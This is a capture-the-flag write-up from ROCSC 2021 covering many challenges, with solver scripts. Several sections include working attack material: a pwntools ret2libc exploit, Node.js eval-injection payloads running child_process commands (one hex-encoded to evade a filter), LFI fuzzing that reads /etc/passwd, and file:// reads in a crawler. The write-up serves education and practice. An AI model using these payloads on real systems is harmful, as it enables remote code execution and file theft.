ROCSC 2021
Writeup
can-you-jump(210): Pwn
Proof of Flag
CTF{70dd83585c9e2656c8a391b7dbc1f28e8d40a98067fdb56adfb69b8e509481df}
Summary
We get a 64-bit executable, not stripped which we need to pwn.
After some analysis we see that just NX is enabled so we can’t use shellcode for this exploit.
After running the program we can see that it’s leaking a printf() address, so it’s pretty abvious that we need to do some kind of ret2libc.
The method I chose is ret2gadget because this method seemed pretty easy.
Because they gave us the libc I guess on the server ASLR is 1 so we need to calculate the addresses with this ideea in mind.
Another way of solving this and the intended one is JOP -> Jump Oriented Programming or another way that I found is re2libc with write(1, read@got, $value_of_rdi) and after that it’s a ret2libc with the leak of read and after that you do the normal exploit.
Proof of Solving
Proof of Code
from pwn import *
#context.log_level='DEBUG'
p = process("./can-you-jump")
libc = ELF("./libc-2.27.so", checksec=False)
def start():
if not args.REMOTE:
return process("./can-you-jump")
else:
return remote("34.141.31.183", 30217)
p = start()
def main():
global rop
print(p.recvuntil("Printf() address : "))
leak = int(p.recvline(), 16)
print(hex(leak))
libc.address = leak - libc.symbols['printf']
print(hex(libc.address))
payload = ""
payload += "A"*72
payload += p64(libc.address + 0x00000000000008aa)
payload += p64(libc.address + 0x4f432)
p.sendline(payload)
p.interactive()
if __name__=="__main__":
main()
what-to-do(1000): Misc
Proof of Flag
Summary
We get a couple of questions and we need to solve them in order to pass the challenge and get the full points.
Proof of Solving
Which cyber attack tricks users to think that their working stations are infected with malware in order to download malicious software?
scareware
In some cases the cyber criminals are gathering information about targets before executing malicious actions. What do we call this type of attack strategy?
spearphishing
Which tool is one of the most popular when collecting OSINT intelligence?
maltego
From which library can we import functions like printf, scanf, fgets, gets, open, fopen, malloc, free when we want to write a C program?
libc
What else a cheater can use to alter games values on a Windows platform?
cheatengine
Which is one of the most popular tools used in reverse engineering Android applications?
apktool
What type of malware is a program that can continuously replicate itself which causes the infestation of multiple hosts in a very short period of time?
worm
What do we call the process which randomizes a set of data in such a way that no algorithm pattern can be deducted?
entropy
Which security standard assures that organizations are handling credit card data in a secure manner in order to prevent money fraud and identity theft?
pcidss
This type of cyber fraud usually involves use of telephony to execute further phishing attacks?
vishing
Which tool is very useful in CTF contests when we need to analyze binaries to discover executable code & embedded files?
binwalk
This utility is used to dump TCP traffic on Linux, Windows, Solaris, etc hosts?
tcpdump
What is one of the oldest and simplest ciphers that humanity used in the past?
caesar
Which function do we use when we want to map arbitrary size data to fixed sized data?
hashing
In which country Enigma cipher was developed?
Germany
Which framework was developed by security specialists used in penetration tests to assess web applications vulnerabilities?
w3af
Which web vulnerability occurs when an application reveals pieces of data to the end-user that shouldn’t be public?
informationleakage
What do we call the set of rules which monitors and filters the traffic from the Internet and a web application to protect it from different types of cyber attacks like XSS, SQL injection, etc?
waf
What is the name of the security incident that occurs when an attacker obtains access to user data?
databreach
Which is one of the most popular Python libraries that are used most în CTF contests to develop exploits for the found vulnerabilities?
pwntools
n4twork urg3nt investigation(200): Forensics
Proof of Flag
Summary
We get a couple of questions and we need to solve them in order to pass the challenge and get the full points.
The only strange this is that the questions are in Pikalang so we need to decode them in order to get the original text message.
We can do that by using https://www.dcode.fr/pikalang-language
Proof of Solving
What is the esoteric programming language used by the attacker?
pikalang
What is the name of the tool used by the security analyst?
networkminer
What is the IP of the Linux compromised machine?
10.20.230.192
We know that the attacker also ordered a pizza from the compromised host. Can you please tell us the place, we want to contact them, maybe they can give us the necessary files?
www.pizzahut.ro
old-tickets(250): Web
Proof of Flag
Summary
We got a simple webserver named as ticket system
Proof of Solving
After poking with the application and finding nothing I decided to change the request method to POST.
We forword the request and we got this
After looking at the errors we find that we can bruteforce the code by timestamp and POST it with code request method.
Proof of Code
#!/usr/bin/python
import requests
import hashlib
import time
from bs4 import BeautifulSoup
url = "http://35.246.178.49:30980"
def main():
timestamp = 1628168161 + 162
while True:
code = hashlib.md5(str(timestamp).encode()).hexdigest()
r = requests.post(url, data={"code": code})
content = r.text
if("ctf" in content):
soup = BeautifulSoup(r.text, "html.parser")
print(soup.find_all("p")[-1].text.strip().split()[-1])
break
timestamp += 1
if __name__=="__main__":
main()
inodat(300): Web
Proof of Flag
CTF{11a0aafa059bda95fdb80332309eb6368ddf4e572dadbe0c40dfe0be69bf515d}
Summary
We get a basic API webserver.
Proof of Solving
We start with our basic enumeration and we find that it haves /api/v1
So we scan again the /api/v1 and we find the math.
Now we need to FUZZ math in order to find the parameter
Until now everything looks almost the same like the challenge CALCULUS
So I tried using the payload I had for CALCULUS, but on this one we don’t need the this.constructor.constructor part.
MAIN PAYLOAD:
require("child_process").execSync("ls").toString()
ENCODED PAYLOAD:
eval(Buffer.from('7265717569726528226368696c645f70726f6365737322292e6578656353796e632822636174207365637265745f666c61675f666f6c6465725f6164736173646f68692f666c61672e74787422292e746f537472696e672829',+'hex').toString('ascii'))
But you can see that by using the MAIN payload it’s giving us a TRY HARDER !
So the only thing that we can do is to encode the payload.
I tried multiple encoding techniques but none work except hex.
So in order to run the hex payload we need a method to run it in javascript.
In the first result on google we can see how to do that with eval()
So after running the ls command we can see that flag is under **secret_flag_folder_adsasdohi ** folder.
clueless_investigation(290): Rev
Proof of Flag
CTF{8ab6d5fe901104ead00fde56cb4766e4821bc7a7e3975f023f3130b690f8f7bb}
Summary
We get an x-sharelib, and a message encoded in morse code
After decoding the message we get: YJLEFYWFKQVUCOEWEPKBLHBKHRBKLOUXVNFP
Proof of Solving
The binary is performing couple of checks on the given message, performing a custom encoding with strong dependency of the algorithm of Railfence cipher, but then the algorithm here differes a bit, first it changes the underscore to the chr(120), then change the string read from the message.txt file, making the string uppercase and then mapping the value by adding the value of ord(“A”) to character one by one, keeping the characters limited to 26 alphabetic character, then on the global array, it assigns the needed value which acts as indexing for encoding the message, provided changing the message taking the mapped array for substitution.
I got the global_array by using a custom docker where I runned gdb-gef
and compared the inital string with what the output was mapping each char.
Proof of Code
#!/usr/bin/python
def decryptRailFence(cipher, key):
rail = [['\n' for i in range(len(cipher))]
for j in range(key)]
dir_down = None
row, col = 0, 0
for i in range(len(cipher)):
if row == 0:
dir_down = True
if row == key - 1:
dir_down = False
rail[row][col] = '*'
col += 1
if dir_down:
row += 1
else:
row -= 1
index = 0
for i in range(key):
for j in range(len(cipher)):
if ((rail[i][j] == '*') and
(index < len(cipher))):
rail[i][j] = cipher[index]
index += 1
result = []
row, col = 0, 0
for i in range(len(cipher)):
if row == 0:
dir_down = True
if row == key-1:
dir_down = False
if (rail[row][col] != '*'):
result.append(rail[row][col])
col += 1
if dir_down:
row += 1
else:
row -= 1
return("".join(result))
if __name__=="__main__":
global_array = [0,8,16,24,32,1,7,9,15,17,23,25,31,33,2,6,10,14,18,22,26,30,34,3,5,11,13,19,21,27,29,35,4,12,20,28]
org = "YJLEFYWFKQVUCOEWEPKBLHBKHRBKLOUXVNFP"
org = [x for x in org]
ceva = decryptRailFence(org, 5)
offset_upper = ord("Z") - ord("A")
offset_lower = ord("z") - ord("a")
ord_A = ord("A")
result = [0]* len(global_array)
final = "AIXVUAAIXVW"
for i in range(len(global_array)):
if i < 26:
offset_upper = org[global_array.index(i)]
offset_upper = ord(offset_upper) - ord("A")
offset_upper = (offset_upper + i) % 26
offset_upper = 25 - offset_upper
offset_upper = chr(offset_upper + ord("A"))
result[i] = offset_upper
else:
offset_upper = org[global_array.index(i)]
offset_upper = ord(offset_upper) - ord("A")
f = ord(final[i % 26]) - ord("A")
offset_upper = 25 - offset_upper
offset_upper = (offset_upper + f) % 26
offset_upper = chr(offset_upper + ord("A"))
result[i] = offset_upper
print("".join(result).replace("X", "_"))
calculus(300): Web
Proof of Flag
CTF{de71c185bcc37c8b169f7bb4c1c0bd3c7fe041110ae4d176434d396c2de52121}
Summary
We get a web calculator which should do some basic arithmetic calculations.
We can see that if we try to press a button or something it’s not working so I started to guess the parameter for the calculator to work.
Proof of Solving
After poking with it for a little bit we found the /sum? parameter. We enter it and we can see an error result: "Missing a,b!!"
We add the parameters and we can see that it’s doing some basic “sum” but as you can see it’s not really doing it, for example 1+1=2 it’s doing 1+1=11
So that means in the backend it’s using eval()
So in order to get the flag we need to bypass the eval().
I didn’t know how to bypass the eval() so I started to search for past writeups that look like this and I found this one from GoogleCTF: https://blog.orange.tw/2018/06/google-ctf-2018-quals-web-gcalc.html
I modified it a little bit and with a little bit of help from a past payload that I had I’ve made this one:
?a=this.constructor.constructor(%22return%20process%22)().mainModule.require(%27child_process%27).execSync%20(%27ls%27)&b=sda
But guess what ? The payload it’s not working so after some time poking with this and trying to bypass the filtering or the blacklist I found that if you enter a “ “ after execSync you can bypass this and earn RCE.
And the flag is under server.js.
file-crawler(50): Web
Proof of Flag
CTF{0caec419d3ad1e1f052f06bae84d9106b77d166aae899c6dbe1355d10a4ba854}
Summary
We get a simple web server Werkzeug/1.0.1 Python/2.7.17 with a image located in the center.
After poking around with gobuster, nikto, arjun etc. I found the /local? parameter and that hit my head. I remember looking in the source code and seeing a strange path to the image, so I started to play with it manually first and I got the content of /etc/passwd
Proof of Solving
I used this command in order to fuzz the possible LFI combinations:
wfuzz -c -w fuzz.txt --hw 28 http://35.246.178.49:30603/local?image_name=FUZZ
We found a lot of interesting stuff but after checking every single one of them we found nothing…
So I started to crawl a list of linux subsystem files and FUZZ after them…
After a little bit of time we got a hit on /tmp/flag
Inside was the hidden flag
Little-endian-photo(340): Forensics
Proof of Flag
ctf{112687d319c48cc38709a90b34d6df10904711b93a74b27f73d9382ff64053a0}
Summary
We get a broken PNG image with lots of data in it.
The only problem that we have is that we don’t know the IMAGExSIZE.
Proof of Solving
There was a little bit of guess but not that much.
We know that there are 1240800 pixels.
We know that normally the photo should be 1000x1000 ( normally because MODERN times)
So we need to find a number that multiplied with 1000 should be equal to the number of pixels.
Proof of Code
#!/usr/bin/python
from PIL import Image
def _saveImage(img, imgsize, destFile):
mode = 'RGBA'
arr = img.reshape(img.shape[0]*img.shape[1], img.shape[2])
if len(arr[0]) == 3:
arr = np.c_[arr, 255*np.ones((len(arr),1), np.uint8)]
img = Image.frombuffer(mode, imgsize, arr.tostring(), 'raw', mode, 0, 1)
img.save(destFile)
def main():
img = open("/mnt/c/Users/iulia/Desktop/CrossFolder/ceva.png", "rb")
pixels = list(img)
pixels = b"".join([x for x in pixels])
#print(pixels)
#img = Image.frombuffer("L", (2000, 2000), pixels)
data = open("ceva.png", "rb").read()
img = Image.frombuffer(data = data, mode = "RGB", size = (1175, 1056)).rotate(180)
#image = Image.frombytes("RGB", (1175, 1056), bytes(bytearray(img2)))
img.save("asddd.png")
#with open("altceva.png", "wb") as f:
# for pixel in img2:
# f.write(pixel)
if __name__=="__main__":
main()
reccon(160): Web
Proof of Flag
CTF{486cdfe3a59141aca752fb10b44c70facca9c5b1d7be444aa840d14148030e66}
Summary
We get a webserver again with just a simple image in the center.
Proof of Solving
So we start with our basic enumeration using gobuster. We didn’t find anything interesting so the next scan is FUZZING for arguments.
So launch ARJUN and we find that there are a couple of arguments.
We enter them manually and we can see that at /?m we get the flag
Proof of Code
import requests
r = requests.get("http://34.141.59.125:32391/?m")
print(r.content)
RGB_led_matrix(320): Misc
Proof of Flag
CTF{29ca0ea1e1a1117fc8007bfdbadd395a5945bc61feea659f1791b30b066f9363}
Summary
We have a log communication between a micro-controller and the display with a DS Logic Analyzer.
Proof of Solving
We need to open PulseView and add a decoder.
The decoder we need to add is rgb led ws281x
After that we export it and we try to make a photo.
So I found a script on google and modify it a little bit.
Proof of Code
#!/usr/bin/python
white = '\x1b[7m \x1b[0m'
black = '\x1b[49m \x1b[0m'
with open('adno', 'r') as f:
data = f.readlines()
pixels = []
def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]
for line in data:
byte = int(line[-7:], 16)
if byte != 0:
byte = 1
pixels.append(byte)
pixels = list(chunks(pixels, 248))
pixels.reverse()
matrix = 8 * [31 * [0]]
for i in range(len(pixels)):
chunk = pixels[i]
chunk = list(chunks(chunk, 8))
chunk.reverse()
for j in range(len(chunk[-7:])):
line = chunk[j]
if j % 2 == 1:
line.reverse()
for c in line:
if c == 0:
print(white, end='')
else:
print(black, end='')
print()
OLED(380): Misc
Proof of Flag
Summary
We have a communication between OLED and the micro-controller.
We can see it using DSView.
After poking with the parameters for a couple of hours the best combination decoders and arguments are: 1,4,2 and active-high
It needs to be ACTIVE-HIGH because the ACTIVE-LOW will remove and strip some pixels from the image so you won’t be able to extract the data from the QR Code.
But you can know that those are good just after you export the data as .csv and try it.
Proof of Solving
But how ? How should I script that ? Well if you search for oled ctf writeups you can find a lot of links and from one of them I got the script.
You just need to change the N_COLUMNS and something else and you are ready for using it.
You can see that it’s giving you a QR Code
I scanned it with QRScanner from my IPhone.
Proof of Code
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
N_PAGES = 8
N_ROWS = 64
N_COLUMNS = 131
def show_lcd(data):
screen = []
for i in range(N_ROWS):
screen.append([0] * N_COLUMNS)
for i in range(N_PAGES):
for j in range(N_COLUMNS):
# Convert each byte to a binary string
bits = "{0:08b}".format(data[N_COLUMNS*i+j])[::-1]
for l, b in enumerate(bits):
# Draw pixels into the screen
screen[N_PAGES*i+l][j] = int(b)
X = np.array(screen)
plt.imshow(X, cmap="gray")
plt.show()
data = pd.read_csv('data.csv')['mosi']
data = data[4165:] # Remove the first 25 bytes
data = list(data.map(lambda h: int(h, 16))) # Convert hex string to list of bytes
sequence_size = N_PAGES * N_COLUMNS
for i in range(6):
show_lcd(data[sequence_size*i:sequence_size*(i+1)])
speed(50): Rev
Proof of Flag
CTF{cd60564f35f0e0667ebca28c67faf5f0327ee74560e9c1058cfbe42c9be194e8}
Summary
We get an executable that it’s initializing a variable to rand()
Inside nothing_here() we have the seed so basically it’s pretty easy to solve this one.
Given the seed used to generate the random number is known to us, we can generate the exact same numbers by using the same seed in our rand() function call which will allow us to predict the values generated by binary
Proof of Solving
This is the code that we need to exploit
Proof of Code
import ctypes
LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
LIBC.srand(0x11C4)
v1 = LIBC.rand()
v2 = 0
v1 ^ v2 ^ 0x539
import hashlib
num = hashlib.sha256((str(v1 ^ v2 ^ 0x539)).encode("utf-8")).hexdigest()
where-do-you-go(300): Misc
Proof of Flag
ctf{83ac8f43b6dc92217de38ce84b5b3bb4e067642dfbf76a35dcf03cbb1508b956}
Summary
We get a server and a port were we need to connect to.
After connecting with nc
we can see that the server is asking us for some CVE-IDs.
So the only think I though I could do is a crawler that get’s the questions and reply them with the hope that after a couple of questions I will get the flag.
Proof of Solving
Firstly I tried with just requesting some questions from CVE.MITRE but after some questions I would get an error because that question wasn’t present on the CVE.MITRE website.
So I addopted a new technique that uses 2 websites and searches for the CVE-ID but also that was failing after some questions.
So I searched a database with all 2019-2020-2021 CVEs and imported them locally. (https://nvd.nist.gov/vuln/data-feeds)
Proof of Code
#!/usr/bin/python
from pwn import *
import json
proxies = {
'http': 'http://localhost:8080',
}
db = {}
def json_cve(file):
f = open(file, "r")
data = json.load(f)
cves = data["CVE_Items"]
for cve in cves:
id = cve["cve"]["CVE_data_meta"]["ID"]
desc = cve["cve"]["description"]["description_data"][0]["value"].encode("ascii", "ignore").decode()
db[desc] = id
def search(desc):
return db[desc]
def main():
json_cve("nvdcve-1.1-2019.json")
json_cve("nvdcve-1.1-2020.json")
json_cve("nvdcve-1.1-2021.json")
i = 1
r = remote("34.107.45.139", 32403)
while True:
i += 1
content = r.recvline()
content = content.decode().strip("\r\n")
if("bye" in content):
print(content)
break
cve = search(content)
if("CTF{" in content):
print(content)
break
#content = r.recvuntil(b"What do you think:")
print(content, i)
r.sendlineafter("What do you think:", cve)
r.close()
if __name__=="__main__":
while True:
main()
ultra-crawl(210): Web
Proof of Flag
ctf{d8b7e522b0ab04101e78ab1c6ff68c4cb2f30ce9d4427d4cd77bc19238367933}
Summary
We get a webserver with crawling functionality.
Proof of Solving
If you participate in CTF contests you know that this kind of web challenge it’s pretty popular and almost the same every time.
You can abuse the file://// “protocol” in order to exfiltrate data and get the flag.
You can read the source code and find that the flag is in sir-a-random-folder-for-the-flag/flag.txt
After reading the source code you can notice that in order to get the flag you need to have a HOST header with company.tld.
el-picasso(150): Rev
Proof of Flag
ctf{1ff757b6b99229db80a208563aa98dfb5e4a592b34551ba44b63038c7bd442af}
Summary
We get an executable that we need to reverse.
When we try to disassemble it with IDA we can see that we get an error.
After searching the error on google we can see that there could be a problem with the nodes
We go to Options->General->Graph and modify the nodes to a bigger number.
And we get a QR on Graph View.
We can it via QRScanner from IPhone and we get the flag.